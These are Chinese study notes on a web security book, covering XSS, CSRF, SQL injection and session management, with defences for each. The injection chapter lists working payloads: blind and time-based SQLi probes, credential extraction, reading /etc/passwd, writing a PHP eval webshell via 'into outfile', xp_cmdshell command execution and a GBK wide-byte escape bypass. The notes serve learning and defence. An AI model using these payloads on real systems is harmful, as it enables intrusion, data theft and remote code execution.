白帽子講web安全 讀書筆記
第三章:xss
分類:反射型、儲存型、Dom型 效果和反射型類似 但是是通過修改dom節點形成的
防禦:
設定cookie的Httponly屬性,瀏覽器會禁用此cookie
輸入檢查、輸出檢查、htmlencode
第四章:csrf
本質:重要的引數被攻擊者發現
瀏覽器的Cookie:
php header(“Set-cookie:cookie1=123;”)
第三方cookie/本地cookie 有expire 儲存在本地
php header(“Set-cookie:cookie1=123; expires= time”,false)
第三方cookie有的瀏覽器預設會攔截,不讓傳送。比如IE Safari
通過b的iframe請求a,預設瀏覽器攔截第三方cookie。
如果網站返回給瀏覽器的HTTP頭中有P3P頭,那麼允許傳送第三方cookie。
如果服務端是用request來接受引數,get和post無所謂。
如果是用post來接受,那麼可以構造一個form,用js來提交。
CSRF worm
Sn引數遍歷可以給任意人發訊息,百度的另一個介面可以查所有的好友。
那麼攻擊者,檢視頁面後,給所有好友發短訊息,訊息中包含圖片,再次轉發給所有好友。
CSRF 防禦
驗證碼
檢查Referer(缺陷:瀏覽器並不是什麼時候都可以讀取referer
https轉到http 瀏覽器也不會發referer
某些客戶端外掛可能允許自定義referer)
Token(主要手段)
1.Token要同時放在表單和session(或者cookie)中,最好是post傳輸。
2.每次提交,服務端驗證表單中的token和session(cookie)中的session是否一致。
XSRF就是XSS結合CSRF。XSS獲取cookie中的token,再用csrf攻擊。
第七章:注入
判斷方法:
1. and 1=1 / and 1=2
2.mysql 中 id=1 and sleep(5) #延時注入
3.mysql 中 benchmark(100000,encode(‘abc’,‘abc’)#延時注入
利用技巧:
1.mysql中常用的函式 database() system_user() current_user() last_insert_id()
2.寫入一句話:select "<?php eval($_POST[1]);?>" into outfile "
3. id = 1 and substring(@@version,1,1)=5
4. id = 1 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1) ,1,1 ) )>64
5. id = 1 union select 1,1,load_file('/etc/passwd')
6. mssql中利用儲存過程執行系統命令 EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
7. 資料庫編碼若為gbk 會把識別0xbf5c,addslashes會把 0x27變成0x5c27,那麼構造payload 0xbf27,即可插入單引號注入。
8.sql column truncation是因為定義column長度varchar時值太小,若STRICT_ALL_TABLES開啟,那麼可以插入 溢位部分不同 的值會成功。
防禦:
1.1預編譯:繫結變數,不能改變sql的語義(也叫引數化查詢)
php中$stmt= $mysqli->prepare($query) $stmt->bind_param("sss",$var1,$var2,$var3);
1.2使用儲存過程,呼叫存在資料庫裡的函式。
1.3設定變數的值,比如固定為integer
1.4使用定義好的安全函式來轉義。
1.5設定資料庫使用者的最小許可權。
2.1php中的過濾函式:
php.ini magic_quotes_gpc 開啟的話,輸入的字串會被轉義,多加一個\
若沒有開啟magic_quotes_gpc,用addslashes(),強制在單引號上加\(可能將0xbf27 變成0xbf 5c 27,如果資料庫是gbk,會識別0xbf5c,統一編碼即可解決)
mysql_real_escape_string() 考慮字符集
mysql_escape_string() 不考慮字符集 ( php5.3已經棄用)
第九章:認證與會話管理
9.1 認證是為了認出使用者是誰,授權是決定使用者可以做什麼。
9.2 密碼的儲存最好是用單向雜湊函式演算法,不可逆的演算法,儲存在資料庫中。
若為md5,最好加鹽,儲存在伺服器的配置檔案中,妥善保管。
9.3 多因素認證,比如手機動態口令等等可以提高安全性。
9.4 Session與認證
SessionID通常可以儲存在cookie中,受瀏覽器的同源策略保護。
SessionID也可以放在url中,(某些手機客戶端沒有cookie),會帶來一些隱患。比如訪問第三方資源,通過refer引數洩漏sid。
9.5 Session Fixation攻擊
如果服務端沒有在使用者授權之後,使用一個新的session,可能造成session固定攻擊。
攻擊者,傳送url(包含sid),受害者點選url授權,sid未改變,攻擊者即拿到了sid。
9.6 Session保持攻擊
Session保持即不斷重新整理網頁,不讓session過期。
如果Session是儲存在Cookie中,那麼攻擊者可以修改Cookie的Expire標籤,不讓其過期。那麼該Cookie即變成了第三方的Cookie。
修復方法,即在session初始分配的時候,在服務端設定期限,強制其過期。
9.7 SSO 單點登入
Single Sign On ,使用者只需要登入一次,獲得一個唯一的url,即可訪問所有系統。雖然可以降低了業務的複雜性,但是也依賴於第三方的OpenID,所以OpenID也收到了限制。